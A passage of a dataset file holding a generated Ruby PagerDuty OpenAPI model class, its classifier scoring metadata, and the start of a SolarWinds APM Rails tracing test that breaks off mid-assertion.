attributes.key?(:'disabled')\n self.disabled = attributes[:'disabled']\n end\n\n if attributes.key?(:'conditions')\n self.conditions = attributes[:'conditions']\n end\n\n if attributes.key?(:'time_frame')\n self.time_frame = attributes[:'time_frame']\n end\n\n if attributes.key?(:'variables')\n if (value = attributes[:'variables']).is_a?(Array)\n self.variables = value\n end\n end\n\n if attributes.key?(:'position')\n self.position = attributes[:'position']\n end\n\n if attributes.key?(:'catch_all')\n self.catch_all = attributes[:'catch_all']\n end\n\n if attributes.key?(:'actions')\n self.actions = attributes[:'actions']\n end\n end\n\n # Show invalid properties with the reasons. Usually used together with valid?\n # @return Array for valid properties with the reasons\n def list_invalid_properties\n warn '[DEPRECATED] the `list_invalid_properties` method is obsolete'\n invalid_properties = Array.new\n invalid_properties\n end\n\n # Check to see if the all the properties in the model are valid\n # @return true if the model is valid\n def valid?\n warn '[DEPRECATED] the `valid?` method is obsolete'\n true\n end\n\n # Checks equality by comparing each attribute.\n # @param [Object] Object to be compared\n def ==(o)\n return true if self.equal?(o)\n self.class == o.class &&\n id == o.id &&\n _self == o._self &&\n disabled == o.disabled &&\n conditions == o.conditions &&\n time_frame == o.time_frame &&\n variables == o.variables &&\n position == o.position &&\n catch_all == o.catch_all &&\n actions == o.actions\n end\n\n # @see the `==` method\n # @param [Object] Object to be compared\n def eql?(o)\n self == o\n end\n\n # Calculates hash code according to all attributes.\n # @return [Integer] Hash code\n def hash\n [id, _self, disabled, conditions, time_frame, variables, position, catch_all, actions].hash\n end\n\n # Builds the object from hash\n # @param [Hash] attributes Model attributes in the form of hash\n # @return [Object] Returns the model itself\n def self.build_from_hash(attributes)\n return nil unless attributes.is_a?(Hash)\n attributes = attributes.transform_keys(&:to_sym)\n transformed_hash = {}\n openapi_types.each_pair do |key, type|\n if attributes.key?(attribute_map[key]) && attributes[attribute_map[key]].nil?\n transformed_hash[\"#{key}\"] = nil\n elsif type =~ /\\AArray<(.*)>/i\n # check to ensure the input is an array given that the attribute\n # is documented as an array but the input is not\n if attributes[attribute_map[key]].is_a?(Array)\n transformed_hash[\"#{key}\"] = attributes[attribute_map[key]].map { |v| _deserialize($1, v) }\n end\n elsif !attributes[attribute_map[key]].nil?\n transformed_hash[\"#{key}\"] = _deserialize(type, attributes[attribute_map[key]])\n end\n end\n new(transformed_hash)\n end\n\n # Deserializes the data based on type\n # @param string type Data type\n # @param string value Value to be deserialized\n # @return [Object] Deserialized data\n def self._deserialize(type, value)\n case type.to_sym\n when :Time\n Time.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :Boolean\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?.+?), (?.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n # models (e.g. Pet) or oneOf\n klass = PagerDutyOpenapiClient.const_get(type)\n klass.respond_to?(:openapi_any_of) || klass.respond_to?(:openapi_one_of) ? klass.build(value) : klass.build_from_hash(value)\n end\n end\n\n # Returns the string representation of the object\n # @return [String] String presentation of the object\n def to_s\n to_hash.to_s\n end\n\n # to_body is an alias to to_hash (backward compatibility)\n # @return [Hash] Returns the object in the form of hash\n def to_body\n to_hash\n end\n\n # Returns the object in the form of hash\n # @return [Hash] Returns the object in the form of hash\n def to_hash\n hash = {}\n self.class.attribute_map.each_pair do |attr, param|\n value = self.send(attr)\n if value.nil?\n is_nullable = self.class.openapi_nullable.include?(attr)\n next if !is_nullable || (is_nullable && !instance_variable_defined?(:\"@#{attr}\"))\n end\n\n hash[param] = _to_hash(value)\n end\n hash\n end\n\n # Outputs non-array value in the form of hash\n # For object, use to_hash. Otherwise, just return the value\n # @param [Object] value Any valid value\n # @return [Hash] Returns the value in the form of hash\n def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map { |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end\n\n end\n\nend\n", "text_preview": "=begin #PagerDuty API #This document describes the PagerDuty REST APIs. For guides and examples please visit our [Documentation.](https://developer.pagerduty.com/docs/get-started/getting-started/) Our REST APIs are defined in OpenAPI v3.x. ", "input_sha256": "6305a8eb211a87562d73b5c192c6673d7383b3d2f51b9c0fd5ea23348d3c141c", "text_sha256": "2dd039c16a9caf76def4f0c89d531387c11b435adcda22777c40b5171fddfacd", "run_sha256": "0dbe3046118ab5f0eea428b55f67ac75d558dc1c7da585927c21fa1685f6e177", "line_number": 16003, "input_policy": "text-and-optional-url-v1", "label_policy_version": 12, "requested_model": "decision-models/baseten-mammoth-27b-latest", "backend": "baseten", "endpoint": "https://inference.baseten.co/v1/systemone", "status": "ok", "training_eligible": true, "label": {"primary": {"main_format": "Technical Writing", "sub_format": null}, "secondary": null, "tertiary": null, "content_structure": []}, "candidate_label": null, "topic": {"primary": {"main_topic": "Programming & Software Engineering", "sub_topic": null}, "secondary": null}, "scores": {"content_quality": 1, "noise_severity": 0, "missing_content_severity": 0, "factual_density": 3, "pretraining_utility": 0, "math_density": 0, "code_density": 4, "reasoning_density": 0, "education_level": 2, "creative_writing_quality": null}, "score_expectations": {"content_quality": 0.9800150433525397, "noise_severity": 0.338147512641973, "missing_content_severity": 0.02418721318256911, "factual_density": 3.155480628447456, "pretraining_utility": 0.1184825091695197, "math_density": 0.03483997903487296, "code_density": 3.7586646100901913, "reasoning_density": 0.17108659846145202, "education_level": 2.3588544807775422, "creative_writing_quality": -0.37712777041989176}, "api_choices": {"primary": "Technical Writing", "secondary": "NONE", "tertiary": "NONE", "education_level": "2", "creative_writing_quality": "not_applicable", "primary_topic": "Programming & Software Engineering", "secondary_topic": "NONE"}, "review_reasons": [], "format_slot_diagnostics": {"comparable": true, "secondary_tertiary_identical": false, "secondary_tertiary_max_abs_gap": 0.060963864079571106, "secondary_choice": "NONE", "tertiary_choice": "NONE"}, "confidence": {"primary": 0.9960596972474687, "secondary": 0.8600286883323928, "tertiary": 0.9236431551980322, "structured_records": 0.2587199413124622, "procedural_steps": 0.0026010072001455852, "worked_solution": 0.0008196543985597841, "contextual_dialogue": 9.159638766268105e-06, "content_quality": 0.5548414848074187, "noise_severity": 0.7182104061316891, "missing_content_severity": 0.9798439890145257, "factual_density": 0.517528920789786, "pretraining_utility": 0.5475192284637015, "math_density": 0.9709666841376059, "code_density": 0.7988871750751592, "reasoning_density": 0.8574278346154567, "education_level": 0.5784011229891316, "creative_writing_quality": 0.9995430120467828, "primary_topic": 0.9926430253497851, "secondary_topic": 0.9243947146923259}, "probability_margin": {"primary": 0.9937414600423196, "secondary": 0.8170523017800054, "tertiary": 0.8997737417651984, "education_level": 0.3487443428232352, "creative_writing_quality": 0.9994608824918058, "primary_topic": 0.9871791249239791, "secondary_topic": 0.8919465261326857}, "raw_probabilities": {"primary": {"Academic Writing": 1.867705798201953e-05, "Content Listing": 1.3951951674818024e-05, "Creative Writing": 8.068769677639676e-06, "Customer Support Page": 4.47193253343839e-05, "Q&A Forum": 8.034722180603955e-06, "Discussion Thread": 5.211164426256964e-06, "Comment Section": 8.895072964125405e-06, "Missing Content": 3.336066087339315e-05, "Knowledge Article": 0.0001161465797250801, "Legal Notices": 3.86067589701892e-05, "News Article": 3.3760158239588043e-06, "Organizational Announcement": 1.2844709641991582e-05, "Nonfiction Writing": 5.920055505864941e-06, "Organizational About Page": 1.4558232131522256e-05, "Personal About Page": 6.659500583487469e-06, "Personal Blog": 6.3553246881599034e-06, "Product Page": 1.04075841134429e-05, "Spam / Ads": 7.576427785535903e-06, "Structured Data": 0.002482416486504636, "Technical Writing": 0.9962238765288242, "Transcript / Interview": 1.0705660301412714e-05, "Tutorial / How-To Guide": 7.987160820033952e-05, "User Reviews": 4.687092444892041e-06, "Other / Unknown": 0.0008350727096420549}, "secondary": {"Academic Writing": 0.0007204824157852335, "Content Listing": 0.0007388040165022357, "Creative Writing": 0.0004944064426778826, "Customer Support Page": 0.0026277894808100456, "Q&A Forum": 0.0003395794731184293, "Discussion Thread": 0.00021713818238273727, "Comment Section": 0.000510229518654033, "Missing Content": 0.0016901017199230657, "Knowledge Article": 0.02307830473753653, "Legal Notices": 0.0038321466676541466, "News Article": 0.0004036813589064698, "Organizational Announcement": 0.0007179165336926145, "Nonfiction Writing": 0.0005235326396058682, "Organizational About Page": 0.0008825321274826968, "Personal About Page": 0.0003742446891333408, "Personal Blog": 0.00036221498041335534, "Product Page": 0.0003209856445036294, "Spam / Ads": 0.00048583148658700386, "Structured Data": 0.048808524538537686, "Technical Writing": 0.042313919315127235, "Transcript / Interview": 0.0005160436039095692, "Tutorial / How-To Guide": 0.00399399200854855, "User Reviews": 0.00018677209996438652, "NONE": 0.8658608263185431}, "tertiary": {"Academic Writing": 0.00038366127837005296, "Content Listing": 0.0005697459960937447, "Creative Writing": 0.00032406279553456207, "Customer Support Page": 0.0020695592554347735, "Q&A Forum": 0.00016975433823940238, "Discussion Thread": 0.00012209077960890043, "Comment Section": 0.00026403051991586666, "Missing Content": 0.0010324749576949093, "Knowledge Article": 0.007781918072498843, "Legal Notices": 0.005639038946506444, "News Article": 0.00022342778457768814, "Organizational Announcement": 0.0006497662504162825, "Nonfiction Writing": 0.0002826232136157164, "Organizational About Page": 0.0010726640726922436, "Personal About Page": 0.00019183548689567992, "Personal Blog": 0.0001818370234686666, "Product Page": 0.00022725477828571794, "Spam / Ads": 0.0004043233884288636, "Structured Data": 0.027050948632915742, "Technical Writing": 0.019751376258995656, "Transcript / Interview": 0.0002498584713608518, "Tutorial / How-To Guide": 0.004423596235303417, "User Reviews": 0.00010946106503169052, "NONE": 0.9268246903981142}, "structured_records": {"false": 0.7412800586875379, "true": 0.2587199413124622}, "procedural_steps": {"false": 0.9973989927998544, "true": 0.0026010072001455852}, "worked_solution": {"false": 0.9991803456014402, "true": 0.0008196543985597841}, "contextual_dialogue": {"false": 0.9999908403612338, "true": 9.159638766268105e-06}, "content_quality": {"-2": 0.007159039590632812, "-1": 0.01731178796145, "0": 0.2209868927444805, "1": 0.4974396489116181, "2": 0.2571026307918186}, "noise_severity": {"0": 0.7006356776001735, "1": 0.268219289464455, "2": 0.02580294588651821, "3": 0.0030460167909320667, "4": 0.002296070257921367}, "missing_content_severity": {"0": 0.9836615313366676, "1": 0.011079418105815156, "2": 0.0033158090214906494, "3": 0.0012967891103335038, "4": 0.0006464524256930352}, "factual_density": {"0": 0.004622064174970693, "1": 0.02261354167426006, "2": 0.15264905742896812, "3": 0.4528923749719446, "4": 0.36722296174985647}, "pretraining_utility": {"-2": 0.011637969080725138, "-1": 0.18897127017556897, "0": 0.5001115021379353, "1": 0.26782879970500223, "2": 0.03145045890076836}, "math_density": {"0": 0.9770201815934495, "1": 0.01771378318684316, "2": 0.00150358076665431, "3": 0.0009307834974912144, "4": 0.0028316709555618845}, "code_density": {"0": 0.00036572782354912645, "1": 0.0007563861612358383, "2": 0.01884215873708201, "3": 0.199919002657741, "4": 0.780116724620392}, "reasoning_density": {"0": 0.8787223938596135, "1": 0.08514445040458503, "2": 0.026914019004953025, "3": 0.004762436876432595, "4": 0.004456699854415786}, "education_level": {"none": 0.0014311669124133922, "0": 0.0016149561352315905, "1": 0.011692825622123584, "2": 0.648667602490943, "3": 0.29992325966770783, "4": 0.036670189171580624}, "creative_writing_quality": {"not_applicable": 0.9996191767056523, "-2": 6.068598585267313e-05, "-1": 0.00010160407490070489, "0": 0.00015829421384652817, "1": 4.112103281064652e-05, "2": 1.9117986937064737e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 2.3589949842645076e-05, "Art & Design": 2.8980237957191586e-05, "Law & Crime": 3.456444335802235e-05, "Education & Careers": 2.043366093546671e-05, "Entertainment & Media": 2.153711598759753e-05, "Fashion & Beauty": 1.2728900316480965e-05, "Business, Economics & Finance": 0.00041679420202078135, "Food & Dining": 1.3679950819627792e-05, "Games & Gaming": 2.6750500650669044e-05, "Electronics & Hardware": 4.7672667789376734e-05, "Health, Healthcare & Wellness": 2.0798064725409185e-05, "History & Geography": 1.7097541899057496e-05, "Home, Pets & Hobbies": 1.2859663490139329e-05, "Industry & Production": 2.5429192474410393e-05, "Language, Literature & Philosophy": 2.580268485635403e-05, "Politics & Government": 3.6703222160127735e-05, "Religion & Spirituality": 1.6130716078130704e-05, "Science, Mathematics & Engineering": 7.935551048405332e-05, "Relationships & Community": 1.264003117735376e-05, "Software Usage & Applications": 0.005746860989275794, "Programming & Software Engineering": 0.9929259859132549, "Sports & Fitness": 2.2110022116681428e-05, "Vehicles & Transportation": 1.2314474662354084e-05, "Travel & Tourism": 2.085387464265885e-05, "Other / Uncovered Subject": 0.0003064492501160609, "Unknown / Insufficient Content": 7.187721890877022e-05}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0004460130315881703, "Art & Design": 0.0002988876334161123, "Law & Crime": 0.0006283391843088349, "Education & Careers": 0.00028862352594044067, "Entertainment & Media": 0.00038606113368050437, "Fashion & Beauty": 0.00017558419149795202, "Business, Economics & Finance": 0.0027722607085944877, "Food & Dining": 0.00016212948293487265, "Games & Gaming": 0.0002851962203992396, "Electronics & Hardware": 0.00030368086583730893, "Health, Healthcare & Wellness": 0.00023244538707206154, "History & Geography": 0.00018154039285294663, "Home, Pets & Hobbies": 0.0001344458943109588, "Industry & Production": 0.00021752803336392692, "Language, Literature & Philosophy": 0.00030447994294007885, "Politics & Government": 0.0003324394353475251, "Religion & Spirituality": 0.0002095601755168363, "Science, Mathematics & Engineering": 0.0005311201936837121, "Relationships & Community": 0.00013150629497427971, "Software Usage & Applications": 0.03535608414839694, "Programming & Software Engineering": 0.027910371536414413, "Sports & Fitness": 0.00013522952725384332, "Vehicles & Transportation": 0.00011354490676811088, "Travel & Tourism": 0.00020548966870874853, "Other / Uncovered Subject": 0.0009548282031150541, "NONE": 0.9273026102810826}}, "probabilities": {"primary": {"Academic Writing": 1.867705798201953e-05, "Content Listing": 1.3951951674818024e-05, "Creative Writing": 8.068769677639676e-06, "Customer Support Page": 4.47193253343839e-05, "Q&A Forum": 8.034722180603955e-06, "Discussion Thread": 5.211164426256964e-06, "Comment Section": 8.895072964125405e-06, "Missing Content": 3.336066087339315e-05, "Knowledge Article": 0.0001161465797250801, "Legal Notices": 3.86067589701892e-05, "News Article": 3.3760158239588043e-06, "Organizational Announcement": 1.2844709641991582e-05, "Nonfiction Writing": 5.920055505864941e-06, "Organizational About Page": 1.4558232131522256e-05, "Personal About Page": 6.659500583487469e-06, "Personal Blog": 6.3553246881599034e-06, "Product Page": 1.04075841134429e-05, "Spam / Ads": 7.576427785535903e-06, "Structured Data": 0.002482416486504636, "Technical Writing": 0.9962238765288242, "Transcript / Interview": 1.0705660301412714e-05, "Tutorial / How-To Guide": 7.987160820033952e-05, "User Reviews": 4.687092444892041e-06, "Other / Unknown": 0.0008350727096420549}, "secondary": {"Academic Writing": 0.0007204824157852337, "Content Listing": 0.0007388040165022358, "Creative Writing": 0.0004944064426778827, "Customer Support Page": 0.002627789480810046, "Q&A Forum": 0.00033957947311842937, "Discussion Thread": 0.0002171381823827373, "Comment Section": 0.0005102295186540331, "Missing Content": 0.0016901017199230659, "Knowledge Article": 0.023078304737536533, "Legal Notices": 0.003832146667654147, "News Article": 0.00040368135890646984, "Organizational Announcement": 0.0007179165336926146, "Nonfiction Writing": 0.0005235326396058683, "Organizational About Page": 0.0008825321274826969, "Personal About Page": 0.00037424468913334086, "Personal Blog": 0.0003622149804133554, "Product Page": 0.0003209856445036295, "Spam / Ads": 0.0004858314865870039, "Structured Data": 0.04880852453853769, "Technical Writing": 0.04231391931512724, "Transcript / Interview": 0.0005160436039095693, "Tutorial / How-To Guide": 0.003993992008548551, "User Reviews": 0.00018677209996438655, "NONE": 0.8658608263185432}, "tertiary": {"Academic Writing": 0.000383661278370053, "Content Listing": 0.0005697459960937448, "Creative Writing": 0.0003240627955345621, "Customer Support Page": 0.002069559255434774, "Q&A Forum": 0.0001697543382394024, "Discussion Thread": 0.00012209077960890046, "Comment Section": 0.0002640305199158667, "Missing Content": 0.0010324749576949095, "Knowledge Article": 0.007781918072498844, "Legal Notices": 0.005639038946506445, "News Article": 0.00022342778457768816, "Organizational Announcement": 0.0006497662504162826, "Nonfiction Writing": 0.00028262321361571645, "Organizational About Page": 0.0010726640726922438, "Personal About Page": 0.00019183548689567995, "Personal Blog": 0.00018183702346866664, "Product Page": 0.00022725477828571797, "Spam / Ads": 0.00040432338842886367, "Structured Data": 0.027050948632915746, "Technical Writing": 0.01975137625899566, "Transcript / Interview": 0.00024985847136085187, "Tutorial / How-To Guide": 0.0044235962353034175, "User Reviews": 0.00010946106503169054, "NONE": 0.9268246903981143}, "structured_records": {"false": 0.7412800586875379, "true": 0.2587199413124622}, "procedural_steps": {"false": 0.9973989927998544, "true": 0.0026010072001455852}, "worked_solution": {"false": 0.9991803456014402, "true": 0.0008196543985597841}, "contextual_dialogue": {"false": 0.9999908403612338, "true": 9.159638766268105e-06}, "content_quality": {"-2": 0.007159039590632812, "-1": 0.01731178796145, "0": 0.2209868927444805, "1": 0.4974396489116181, "2": 0.2571026307918186}, "noise_severity": {"0": 0.7006356776001734, "1": 0.26821928946445495, "2": 0.025802945886518203, "3": 0.003046016790932066, "4": 0.0022960702579213664}, "missing_content_severity": {"0": 0.9836615313366677, "1": 0.011079418105815158, "2": 0.00331580902149065, "3": 0.001296789110333504, "4": 0.0006464524256930353}, "factual_density": {"0": 0.004622064174970693, "1": 0.02261354167426006, "2": 0.15264905742896812, "3": 0.4528923749719446, "4": 0.36722296174985647}, "pretraining_utility": {"-2": 0.011637969080725138, "-1": 0.18897127017556897, "0": 0.5001115021379353, "1": 0.26782879970500223, "2": 0.03145045890076836}, "math_density": {"0": 0.9770201815934495, "1": 0.01771378318684316, "2": 0.00150358076665431, "3": 0.0009307834974912144, "4": 0.0028316709555618845}, "code_density": {"0": 0.00036572782354912645, "1": 0.0007563861612358383, "2": 0.01884215873708201, "3": 0.199919002657741, "4": 0.780116724620392}, "reasoning_density": {"0": 0.8787223938596136, "1": 0.08514445040458504, "2": 0.02691401900495303, "3": 0.004762436876432596, "4": 0.004456699854415787}, "education_level": {"none": 0.0014311669124133922, "0": 0.0016149561352315905, "1": 0.011692825622123584, "2": 0.648667602490943, "3": 0.29992325966770783, "4": 0.036670189171580624}, "creative_writing_quality": {"not_applicable": 0.9996191767056524, "-2": 6.068598585267314e-05, "-1": 0.0001016040749007049, "0": 0.0001582942138465282, "1": 4.112103281064653e-05, "2": 1.911798693706474e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 2.3589949842645076e-05, "Art & Design": 2.8980237957191586e-05, "Law & Crime": 3.456444335802235e-05, "Education & Careers": 2.043366093546671e-05, "Entertainment & Media": 2.153711598759753e-05, "Fashion & Beauty": 1.2728900316480965e-05, "Business, Economics & Finance": 0.00041679420202078135, "Food & Dining": 1.3679950819627792e-05, "Games & Gaming": 2.6750500650669044e-05, "Electronics & Hardware": 4.7672667789376734e-05, "Health, Healthcare & Wellness": 2.0798064725409185e-05, "History & Geography": 1.7097541899057496e-05, "Home, Pets & Hobbies": 1.2859663490139329e-05, "Industry & Production": 2.5429192474410393e-05, "Language, Literature & Philosophy": 2.580268485635403e-05, "Politics & Government": 3.6703222160127735e-05, "Religion & Spirituality": 1.6130716078130704e-05, "Science, Mathematics & Engineering": 7.935551048405332e-05, "Relationships & Community": 1.264003117735376e-05, "Software Usage & Applications": 0.005746860989275794, "Programming & Software Engineering": 0.9929259859132549, "Sports & Fitness": 2.2110022116681428e-05, "Vehicles & Transportation": 1.2314474662354084e-05, "Travel & Tourism": 2.085387464265885e-05, "Other / Uncovered Subject": 0.0003064492501160609, "Unknown / Insufficient Content": 7.187721890877022e-05}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0004460130315881703, "Art & Design": 0.0002988876334161123, "Law & Crime": 0.0006283391843088349, "Education & Careers": 0.00028862352594044067, "Entertainment & Media": 0.00038606113368050437, "Fashion & Beauty": 0.00017558419149795202, "Business, Economics & Finance": 0.0027722607085944877, "Food & Dining": 0.00016212948293487265, "Games & Gaming": 0.0002851962203992396, "Electronics & Hardware": 0.00030368086583730893, "Health, Healthcare & Wellness": 0.00023244538707206154, "History & Geography": 0.00018154039285294663, "Home, Pets & Hobbies": 0.0001344458943109588, "Industry & Production": 0.00021752803336392692, "Language, Literature & Philosophy": 0.00030447994294007885, "Politics & Government": 0.0003324394353475251, "Religion & Spirituality": 0.0002095601755168363, "Science, Mathematics & Engineering": 0.0005311201936837121, "Relationships & Community": 0.00013150629497427971, "Software Usage & Applications": 0.03535608414839694, "Programming & Software Engineering": 0.027910371536414413, "Sports & Fitness": 0.00013522952725384332, "Vehicles & Transportation": 0.00011354490676811088, "Travel & Tourism": 0.00020548966870874853, "Other / Uncovered Subject": 0.0009548282031150541, "NONE": 0.9273026102810826}}, "probability_diagnostics": {"primary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "tertiary": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "structured_records": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "procedural_steps": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "worked_solution": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "contextual_dialogue": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "content_quality": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "noise_severity": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "missing_content_severity": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "factual_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "pretraining_utility": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "math_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "code_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "reasoning_density": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "education_level": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "creative_writing_quality": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "primary_topic": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary_topic": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}}, "usage": {"input_tokens": 10923, "output_tokens": 19}, "cache": {"status": "unreported", "cached_tokens": null, "cache_write_tokens": null, "input_tokens": 10923, "cached_share": null, "cache_discount_reported": null, "reported_cost_usd": null}, "response_metadata": {"model": "decision-models/baseten-mammoth-27b-latest"}, "scored_at_utc": "2026-10-25T18:29:06.554161+00:00", "scoring_key_slot": "primary", "dataset_uid": "2b04f81c-3213-4714-8a61-d0420e5179f9", "dataset_revision": "62077439f2c81c79b71c084d1057ee1d042369a3", "dataset_config": "default", "content_variant": "content", "source_record_sha256": "80cb9a723dd6d7d81b8795d3a6fee7dd2fe83660b78cce617c138e83157a94d4", "source_metadata": {"uuid": "2b04f81c-3213-4714-8a61-d0420e5179f9", "repo_name": "OilCan/pager_duty_openapi_client", "relative_path": "lib/pager_duty_openapi_client/models/event_rule.rb", "category": "TOOL", "algo_rel_score": 0.9618012309074402, "quality_score": 3.2539560794830322, "source_meta": {"github_metadata": {"branch": "main", "commit_count": 11, "repo_created_at": "2024-06-04T23:43:56.000Z", "is_fork": false, "is_org_owned": true, "forked_from": null, "stars": 0, "forks": 0, "issues": 0, "pull_requests": 0}, "file_meta": {"content_id": "4715dbaa7874a984a9c547eda6e8bb4c663ddc38", "size_bytes": 9575, "file_timestamp": 1717610870, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "47b5cbfa120b06b9e25a56ea849e2efea2315e40"}}, "parsed_source_meta": {"github_metadata": {"branch": "main", "commit_count": 11, "repo_created_at": "2024-06-04T23:43:56.000Z", "is_fork": false, "is_org_owned": true, "forked_from": null, "stars": 0, "forks": 0, "issues": 0, "pull_requests": 0}, "file_meta": {"content_id": "4715dbaa7874a984a9c547eda6e8bb4c663ddc38", "size_bytes": 9575, "file_timestamp": 1717610870, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "47b5cbfa120b06b9e25a56ea849e2efea2315e40", "url": "https://github.com/OilCan/pager_duty_openapi_client/blob/47b5cbfa120b06b9e25a56ea849e2efea2315e40/lib/pager_duty_openapi_client/models/event_rule.rb"}, "gpt4o_tokens": 2303, "dataset_split": "ruby", "probability_weighted_scores": {"content_quality": 0.9800150433525397, "noise_severity": 0.338147512641973, "missing_content_severity": 0.02418721318256911, "factual_density": 3.155480628447456, "pretraining_utility": 0.1184825091695197, "math_density": 0.03483997903487296, "code_density": 3.7586646100901913, "reasoning_density": 0.17108659846145202, "education_level": 2.3588544807775422, "creative_writing_quality": -0.37712777041989176}, "score_applicability": {"education_level": 0.9985688330875866, "creative_writing_quality": 0.0003808232943476175}} {"source_group": "ruby", "source": "openbmb/UltraData-Stack-v3-L2/ruby", "domain": "github.com", "language": "ruby", "url": "https://github.com/solarwinds/solarwinds-apm-ruby/blob/24cbb19aebb746890c94421d46df33f96111e5aa/test/frameworks/rails_crud_test.rb", "id": "ruby-0-226acb3914afea6a34d4d9d81985d82d", "text": "# Copyright (c) 2018 SolarWinds, LLC.\n# All rights reserved.\n\nrequire \"minitest_helper\"\nrequire 'mocha/minitest'\n\ndescribe \"Rails CRUD Tests\" do\n\n before do\n SolarWindsAPM.config_lock.synchronize {\n @tm = SolarWindsAPM::Config[:tracing_mode]\n @sample_rate = SolarWindsAPM::Config[:sample_rate]\n @sanitize = SolarWindsAPM::Config[:sanitize_sql]\n @ac_backtrace = SolarWindsAPM::Config[:action_controller][:collect_backtraces]\n @ar_backtrace = SolarWindsAPM::Config[:active_record][:collect_backtraces]\n @rack_backtrace = SolarWindsAPM::Config[:rack][:collect_backtraces]\n @log_traceid = SolarWindsAPM::Config[:log_traceId]\n @tag_sql = SolarWindsAPM::Config[:tag_sql]\n\n SolarWindsAPM::Config[:sanitize_sql] = false\n SolarWindsAPM::Config[:action_controller][:collect_backtraces] = false\n SolarWindsAPM::Config[:active_record][:collect_backtraces] = false\n SolarWindsAPM::Config[:rack][:collect_backtraces] = false\n SolarWindsAPM::Config[:log_traceId] = :never\n }\n\n @widget = JSON.parse(create_widget.body)\n\n @log_traceid_regex = /\\/\\*traceparent='[0-9a-f-]{55}'\\*\\//.freeze\n clear_all_traces\n clear_query_log\n SolarWindsAPM::Config[:tag_sql] = true\n\n # not a request entry point\n SolarWindsAPM::Context.clear\n end\n\n after do\n SolarWindsAPM.config_lock.synchronize {\n SolarWindsAPM::Config[:tracing_mode] = @tm\n SolarWindsAPM::Config[:sample_rate] = @sample_rate\n SolarWindsAPM::Config[:sanitize_sql] = @sanitize\n SolarWindsAPM::Config[:action_controller][:collect_backtraces] = @ac_backtrace\n SolarWindsAPM::Config[:active_record][:collect_backtraces] = @ar_backtrace\n SolarWindsAPM::Config[:rack][:collect_backtraces] = @rack_backtrace\n SolarWindsAPM::Config[:log_traceId] = @log_traceid\n SolarWindsAPM::Config[:tag_sql] = @tag_sql\n }\n end\n\n it \"should trace CREATE correctly\" do\n response = create_widget\n _(response.code).must_equal '200'\n\n traces = get_all_traces\n\n _(traces.select { |trace| trace['Label'] == 'error' }.count).must_equal 0\n\n ar_traces = traces.select { |trace| trace['Layer'] == 'activerecord' }\n _(ar_traces.find { |trace| trace.has_key?('RemoteHost') }).wont_be_nil 'RemoteHost key is missing'\n\n ar_traces.select! { |trace| trace['Label'] == 'entry' }\n _(ar_traces.count).must_equal 1, filter_traces(ar_traces).pretty_inspect\n\n _(traces.select { |trace| trace['Query'] =~ /INSERT/ }.count).must_equal 2\n\n assert query_logged?(/#{@log_traceid_regex}INSERT/), \"Logged query didn't match what we're looking 